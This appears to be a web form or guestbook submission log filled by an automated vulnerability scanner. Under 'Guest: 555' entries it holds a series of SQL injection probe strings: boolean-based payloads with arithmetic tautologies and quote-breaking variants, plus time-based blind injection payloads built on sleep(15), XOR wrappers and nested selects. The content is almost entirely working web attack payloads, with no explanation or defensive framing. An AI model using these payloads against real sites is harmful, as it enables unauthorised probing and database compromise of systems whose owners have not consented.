Guest:
555


-1 OR 2+891-891-1=0+0+0+1 --

-1 OR 2+102-102-1=0+0+0+1

-1' OR 2+642-642-1=0+0+0+1 --

-1' OR 2+213-213-1=0+0+0+1 or 'bADivclW'='

-1" OR 2+380-380-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/